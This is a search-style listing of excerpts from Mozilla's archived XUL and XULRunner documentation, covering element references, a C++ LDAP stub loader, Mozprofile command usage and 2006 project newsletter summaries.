floating panels a floating panel is used for secondary popups such as tool palettes and property inspector panels.
... it will have a titlebar which the user may use to move the panel around on the screen.
...currently, only the value normal is supported, which creates a default titlebar.
currentIndex - Archive of obsolete content
you cannot rely on this property to change or determine a tree selection, except for trees with seltype="single".
... (all trees have seltype="multiple" by default.) to reliably change or determine a selection, instead use the nsitreeselection interface methods available via tree.view.selection.
...eerowclicked(){ var tree = document.getelementbyid("my-tree"); var selection = tree.view.selection; var celltext = tree.view.getcelltext(tree.currentindex, tree.columns.getcolumnat(0)); alert(celltext); } </script> <tree id="my-tree" seltype="single" onselect="treerowclicked()"> <treecols> <treecol label="title" flex="1"/><treecol label="url" flex="1"/> </treecols> <treechildren> <treeitem> <treerow> <treecell label="joe@somewhere.com"/> <treecell label="top secret plans"/> </treerow> </treeitem> <treeitem> <treerow> <treecell label="mel@whereever.com"/> <treecell label="let's do lunch"/> </treerow> </treeitem> </treechildren> </tree> see also listbox.currentindex ...
tag - Archive of obsolete content
ArchiveMozillaXULPropertytag
if set, the conditions will only match if the template builder is parsing content for an element directly inside this tag.
... for example, by using a value of treechildren, the condition will only match when placing elements directly inside a treechildren tag.
... thus, nested elements will not match because they are directly inside a treeitem.
uri - Archive of obsolete content
ArchiveMozillaXULPropertyuri
when a rule is evaluated, it scans through each resource in the rdf datasource looking for a match.
... each resource is placed in the variable specified in the uri attribute in turn.
... then, the other rules are evaluated for a match.
Recursive Generation - Archive of obsolete content
this extra arrow which neither b or d have causes an extra set of buttons to be created.
...however, since c is the only element that will end up having any additional content, only the second <hbox> element will have additional children added to it.
...however, for item c, the triple does match an item, so the data will be added to the potential result: (?start = http://www.xulplanet.com/rdf/c, ?relateditem = http://www.xulplanet.com/rdf/d) a match has occured, so the content within the action body will be created and added inside item c.
Using multiple DTDs - Archive of obsolete content
single dtd to make strings in your xul file localizable, you normally add a dtd declaration at the beginning of the file like this: <!doctype window system "chrome://myextension/locale/mainwindow.dtd"> where "window" is the local name of the document (root) element.
... assuming you have an entity called somebutton.label defined in mainwindow.dtd, you can access the entity like this: <button id="somebutton" label="&somebutton.label"> multiple dtds if you want to use multiple dtds with your xul file, you can simply list all of the dtds inside your dtd declaration: <!doctype window [ <!entity % commondtd system "chrome://myextensions/locale/common.dtd"> %commondtd; <!entity % mainwindowdtd system "chrome://myextension/locale/mainwindow.dtd"> %mainwindowdtd; ]> you can now access the entities declared in the dtds as shown above.
...<button id="okbutton" label="&okbutton.label"> note that there is no such thing as namespaces with multiple dtds.
XUL FAQ - Archive of obsolete content
some things to check when you have issues with your prefwindow-based options window: does each prefpane have a unique id?
... does each prefpane contains a <preferences></preferences> block, even if empty?
...if you want to access elements inside <prefpane>, you should put script in the <prefpane> or write script into "onpaneload" of the <prefpane>.) note, that prefwindow only works in chrome xul.
XUL Reference - Archive of obsolete content
« xul reference « alphabetical list of all xul elements action arrowscrollbox assign bbox binding bindings box broadcaster broadcasterset button browser checkbox caption clicktoscroll colorpicker column columns commandset command conditions content datepicker deck description dialog dialogheader dropmarker editor grid grippy groupbox hbox iframe image key keyset label listbox listcell listcol listcols listhead listheader listitem member menu menubar menuitem menulist menupopup menuseparator notification notificationbox observes overlay page panel param popupset preference preferences prefpane prefwindow progressmeter query queryset radio radiogroup resizer richlistbox richlistitem row rows rule scale sc...
... stringbundleset tab tabbrowser (firefox-only starting with firefox 3/gecko 1.9) tabbox tabpanel tabpanels tabs template textnode textbox textbox (firefox autocomplete) textbox (mozilla autocomplete) timepicker titlebar toolbar toolbarbutton toolbargrippy toolbaritem toolbarpalette toolbarseparator toolbarset toolbarspacer toolbarspring toolbox tooltip tree treecell treechildren treecol treecols treeitem treerow treeseparator triple vbox where window wizard wizardpage categorical list of all xul elements « xul reference « windows window wizard wizardpage titlebar window structure --- menus and popups --- toolbars toolbar toolbarbutton toolbargrippy toolbaritem toolbarpallete toolbarseperator toolbarspring tabs ...
... iframe titlebar resizer statusbar statusbarpanel dialogheader notification notificationbox menubar menu menuitem menuseparator menupopup panel tooltip popupset toolbar toolbarbutton toolbargrippy toolbaritem toolbarpalette toolbarseparator toolbarset toolbarspacer toolbarspring toolbox tabbox tabs tab tabpanels tabpanel groupbox caption separator spacer button checkbox colorpicker datepicker menulist progressmeter radio radiogroup scale splitter textbox textbox (firefox autocomplete) textbox (mozilla autocomplete) timepicker description label image listbox listitem listcell listcol listcols listhead listheader richlistbox richlistitem tree treecell treechildren treecol treecols treeitem treerow treeseparator box hbox vbo...
bindings - Archive of obsolete content
predicate type: uri the predicate or property to match.
...bject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), has...
...attributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), removechild(), removeeventlistener(), replacechild(), setattribute(), setattributenode(), setattributenodens(), setattributens(), setuserdata related tbd ...
columns - Archive of obsolete content
child column elements define the individual columns to appear in the grid.
...bject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), has...
...attributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), removechild(), removeeventlistener(), replacechild(), setattribute(), setattributenode(), setattributenodens(), setattributens(), setuserdata related elements grid, column, rows, row.
conditions - Archive of obsolete content
if all variables can be replaced, the rule matched.
...bject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), has...
...attributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), removechild(), removeeventlistener(), replacechild(), setattribute(), setattributenode(), setattributenodens(), setattributens(), setuserdata ...
dialogheader - Archive of obsolete content
attributes crop, description, title examples <?xml version="1.0"?> <?xml-stylesheet href="chrome://global/skin/global.css" type="text/css"?> <dialog id="donothing" title="dialog example" xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"> <dialogheader title="my dialog" description="example dialog"/> <!-- other widgets --> </dialog> attributes crop type: one of the values below if the label of the element is too big to fit in its given space, the text will be cropped on the side specified by t...
...bject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), has...
...attributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), removechild(), removeeventlistener(), replacechild(), setattribute(), setattributenode(), setattributenodens(), setattributens(), setuserdata related elements dialog, window ...
dropmarker - Archive of obsolete content
« xul reference home [ examples | attributes | properties | methods | related ] a dropmarker is a button with an arrow which will reveal more details when pressed.
...bject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), has...
...attributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), removechild(), removeeventlistener(), replacechild(), setattribute(), setattributenode(), setattributenodens(), setattributens(), setuserdata ...
grippy - Archive of obsolete content
« xul reference home [ examples | attributes | properties | methods | related ] an element that may be used inside a splitter which can be used to collapse a sibling element of the splitter.
...bject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), has...
...attributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), removechild(), removeeventlistener(), replacechild(), setattribute(), setattributenode(), setattributenodens(), setattributens(), setuserdata ...
hbox - Archive of obsolete content
ArchiveMozillaXULhbox
« xul reference home [ examples | attributes | properties | methods | related ] a container element which can contain any number of child elements.
...bject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), has...
...attributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), removechild(), removeeventlistener(), replacechild(), setattribute(), setattributenode(), setattributenodens(), setattributens(), setuserdata related elements box, vbox ...
listcols - Archive of obsolete content
« xul reference home [ examples | attributes | properties | methods | related ] a container for the columns of a listbox, each of which are created with the listcol element.
...bject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), has...
...attributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), removechild(), removeeventlistener(), replacechild(), setattribute(), setattributenode(), setattributenodens(), setattributens(), setuserdata related elements listbox, listcell, listcol, listhead, listheader, listitem ...
observes - Archive of obsolete content
when the value of the attribute changes, the broadcast event is called on the observer.
...bject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), has...
...attributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), removechild(), removeeventlistener(), replacechild(), setattribute(), setattributenode(), setattributenodens(), setattributens(), setuserdata ...
param - Archive of obsolete content
ArchiveMozillaXULparam
the value to bind should be text as a child of the param element.
...bject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), has...
...attributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), removechild(), removeeventlistener(), replacechild(), setattribute(), setattributenode(), setattributenodens(), setattributens(), setuserdata ...
query - Archive of obsolete content
ArchiveMozillaXULquery
attributes expr examples (example needed) attributes expr type: string for xml queries, an xpath expression which returns results.
...bject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), has...
...attributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), removechild(), removeeventlistener(), replacechild(), setattribute(), setattributenode(), setattributenodens(), setattributens(), setuserdata ...
resizer - Archive of obsolete content
attributes dir, element, type examples resizing a window <window xmlns="http://www.mozilla.org/keymaster/gat...re.is.only.xul" hidechrome="true" windowtype="main" orient="vertical" sizemode="normal" width="400" height="300" persist="screenx screeny width height"> <hbox flex="1"> <vbox width="2" style="background-color: grey;"> <resizer dir="topleft" height="2" style="cursor: nw-resize;"/> <resizer dir="left" flex="1" style="cursor: w-resize;"/> <resizer dir="bottomleft" height="2" style="cursor: sw-resize;"/> ...
...bject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), has...
...attributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), removechild(), removeeventlistener(), replacechild(), setattribute(), setattributenode(), setattributenodens(), setattributens(), setuserdata ...
toolbargrippy - Archive of obsolete content
« xul reference home [ examples | attributes | properties | methods | related ] not in firefox the notch on the side of a toolbar which can be used to collapse and expand it.
...bject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), has...
...attributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), removechild(), removeeventlistener(), replacechild(), setattribute(), setattributenode(), setattributenodens(), setattributens(), setuserdata related elements toolbar, toolbarbutton, toolbaritem, toolbarpalette, toolbarseparator, toolbarset, toolbarspacer, toolbarspring, toolbox interfaces nsiaccessibleprovider ...
toolbarpalette - Archive of obsolete content
the children of the toolbarpalette should be the complete list of toolbarbuttons and toolbaritems that can be added to the toolbar.
...bject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), has...
...attributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), removechild(), removeeventlistener(), replacechild(), setattribute(), setattributenode(), setattributenodens(), setattributens(), setuserdata related elements toolbar, toolbarbutton, toolbargrippy, toolbaritem, toolbarseparator, toolbarset, toolbarspacer, toolbarspring, toolbox ...
toolbarset - Archive of obsolete content
« xul reference home [ examples | attributes | properties | methods | related ] firefox only this element is used as a container for custom toolbars, which are added in the custom toolbar dialog.
...xobject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), has...
...attributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), removechild(), removeeventlistener(), replacechild(), setattribute(), setattributenode(), setattributenodens(), setattributens(), setuserdata related elements toolbar, toolbarbutton, toolbargrippy, toolbaritem, toolbarpalette, toolbarseparator, toolbarspacer, toolbox ...
treeseparator - Archive of obsolete content
attributes properties examples (example needed) attributes properties type: space-separated list of property names sets the properties of the element, which can be used to style the element.
...bject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), has...
...attributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), removechild(), removeeventlistener(), replacechild(), setattribute(), setattributenode(), setattributenodens(), setattributens(), setuserdata related elements tree, treecols, treecol, treechildren, treeitem, treerow and treecell.
vbox - Archive of obsolete content
ArchiveMozillaXULvbox
« xul reference home [ examples | attributes | properties | methods | related ] a container element which can contain any number of child elements.
...bject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), has...
...attributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), removechild(), removeeventlistener(), replacechild(), setattribute(), setattributenode(), setattributenodens(), setattributens(), setuserdata related elements box, hbox ...
Using LDAP XPCOM with XULRunner - Archive of obsolete content
xpcomglue_s.$(lib_suffix) \ $(xpcom_frozen_ldopts) \ $(nspr_libs) \ $(null) include $(topsrcdir)/config/rules.mk defines += -dmoz_dll_prefix=\"$(dll_prefix)\" ldapstubloader.cpp: // copyright (c) 2005 benjamin smedberg <benjamin@smedbergs.us> #include "nscore.h" #include "nsmodule.h" #include "prlink.h" #include "nsilocalfile.h" #include "nsstringapi.h" #include "nscomptr.h" static char const *const kdependentlibraries[] = { #ifdef ns_win32 moz_dll_prefix "nsldap32v50" moz_dll_suffix, moz_dll_prefix "nsldappr32v50" moz_dll_suffix, #endif //ns_win32 #ifdef ns_unix moz_dll_prefix "ldap50" moz_dll_suffix, moz_dll_prefix "prldap50" moz_dll_suffix, #endif //ns_unix nsnull }; // component.dll on windows, libcomponent.dll on linux static char krealcomponent[] = moz_dll_pre...
...r<nsifile> libraries; rv = alocation->getparent(getter_addrefs(libraries)); if (ns_failed(rv)) return rv; nscomptr<nsilocalfile> library(do_queryinterface(libraries)); if (!library) return ns_error_unexpected; library->setnativeleafname(ns_literal_cstring("libraries")); library->appendnative(ns_literal_cstring("dummy")); // loop through and load dependent libraries for (char const *const *dependent = kdependentlibraries; *dependent; ++dependent) { library->setnativeleafname(nsdependentcstring(*dependent)); prlibrary *lib; library->load(&lib); // 1) we don't care if this failed!
... } library->setnativeleafname(ns_literal_cstring(krealcomponent)); prlibrary *lib; rv = library->load(&lib); if (ns_failed(rv)) return rv; nsgetmoduleproc getmoduleproc = (nsgetmoduleproc) pr_findfunctionsymbol(lib, ns_get_module_symbol); if (!getmoduleproc) return ns_error_failure; return getmoduleproc(acompmgr, alocation, aresult); } then change your .mozconfig to add this line: ac_add_options --enable-extensions=ldapstub rebuild xulrunner.
XULRunner/Old Releases - Archive of obsolete content
1.9.2.x xulrunner releases these builds are built from the stable 1.9.2 branch.
... nightly builds of xulrunner 1.9.0.x these builds are built from the stable 1.9 branch.
... xulrunner 1.8.0.4 this is the last official stable developer preview release from the 1.8.0 branch.
What XULRunner Provides - Archive of obsolete content
the goal of xulrunner is to provide a solution for deploying xul applications (primarily firefox and thunderbird), as well as providing an embedding mechanism.
... extension manager file picker (uses native os filepicker as appropriate) find toolbar helper app dialog/ui security ui (maintenance of ssl keychains, etc) embedding apis the following embedding apis are provided by xulrunner: cross-platform embedding (xre_initembedding) javaxpcom embedding gtkmozembed (linux only) activex control (windows only) (not yet complete) obsolete since gecko 7.0 nsview-based-widget (mac os x only) (not yet complete) the "maybe" list the following features have been discussed and may be included if de...
...veloper time permits and code size is controlled: ldap support spellchecking support (with or without dictionaries provided) see bug 285977 core support for profile roaming (with application-specific extensibility) pyxpcom embedding (not yet complete) - but it does work, if you compile a custom build that includes the pyxpcom bindings and there is a working python available.
Mozprofile - Archive of obsolete content
the profile to be operated on may be specified with the --profile switch.
... if a profile is not specified, one will be created in a temporary directory which will be echoed to the terminal: (mozmill)> mozprofile /tmp/tmp4q1ieu.mozrunner (mozmill)> ls /tmp/tmp4q1ieu.mozrunner user.js to run mozprofile from the command line enter: mozprofile --help for a list of options.
...you can pass preferences in to the profile class's constructor: obj = firefoxprofile(preferences=[("accessibility.typeaheadfind.flashbar", 0)]) using a json blob file: mozprofile --preferences myprefs.json using a .ini file: mozprofile --preferences myprefs.ini via the command line: mozprofile --pref key:value --pref key:value [...] when setting preferences from an .ini file or the --pref switch, the value will be interpolated as an integer or a boolean (true/false) if possible.
2006-11-10 - Archive of obsolete content
important dates: technical submissions: monday 19th feb 2007 technical paper notification: friday 16th march 2007 communication submissions: monday 26th march 2007 communication paper notification: friday 06th april 2007 all camera ready due: monday 16th april 2007 conference dates: monday 07th and tuesday 08th may 2007 notable keynotes representatives from w3c, ibm, university of manchester, uk and oxford brookes u...
...this has been changed to alt+shift for content accesskeys due to the "conflicts with ui mnemonics" according to aaron leventhal.
... accessibility in chatzilla gijs kruitbosch and aaron leventhal have proposed an accessibility project involving chatzilla.
2006-11-10 - Archive of obsolete content
discussions site-specific search using our search box a discussion surrounding implementing a way to search a current page with the page's embedded search component and how to make this efficient and usable.
... event in firefox similar to ondownloadcomplete event in ie an inquiry about how to change the font of a web page before it is displayed using an extenstion.
... authors sara minchella (sara) dave manley (senemanley) back to summary list ...
2006-11-17 - Archive of obsolete content
firefox 2.0 - window.focus() user questions where the change in behaviour in window.focus() is a bug or was intented.
... two questions: (1) launching a separate intance of firefox.exe, and (2) programmatically closing a window user has two questions about using adobe flex builder debugger in firefox 2.0.
... authors sara minchella (sara) dave manley (senemanley) back to summary list ...
2006-11-24 - Archive of obsolete content
discussions microsummary w/ script a user created patch that will allow script to run in a sandbox during the update of a microsummary.
... they would like to discuss the use of it in bug 361026 rich results for searches a proposal for a search tool that gives users a quicker path to specific information they are looking for.
... authors sara minchella (sara) dave manley (senemanley) back to summary list ...
2006-12-01 - Archive of obsolete content
basic feature that i think is a must in any web broswer a discussion revolving around the idea of having firefox automatically convert mistaken non-english characters to english so that web addresses will be completed.
... rich results for searches a proposal to implement "rich results", a set of registered sites that would provide information as it relates to a user's search.
... authors sara minchella (sara) dave manley (senemanley) back to summary list ...
2006-10-06 - Archive of obsolete content
discussion highlights: ziga sancin suggests writing an introductory article for potential developers containing basic project information (history, list of main developers, project goals, roadmap and available communication channels, etc), tools needed to start developing and building tb, documentation on source structure as well as links to help one get started on the project.
... david bienvenu suggests a top down architectural description of tb's data structures along with documentation about extracting them.
... cédric corazza recommends that the proposed documention should be made available on the l10n cvs once it reaches a decent stage so that localizers can get a head-start on the localization before the final version is made available.
2006-11-17 - Archive of obsolete content
how to get review for work-in-progress patch?
... code review requested for smtp swticher no comment is made.
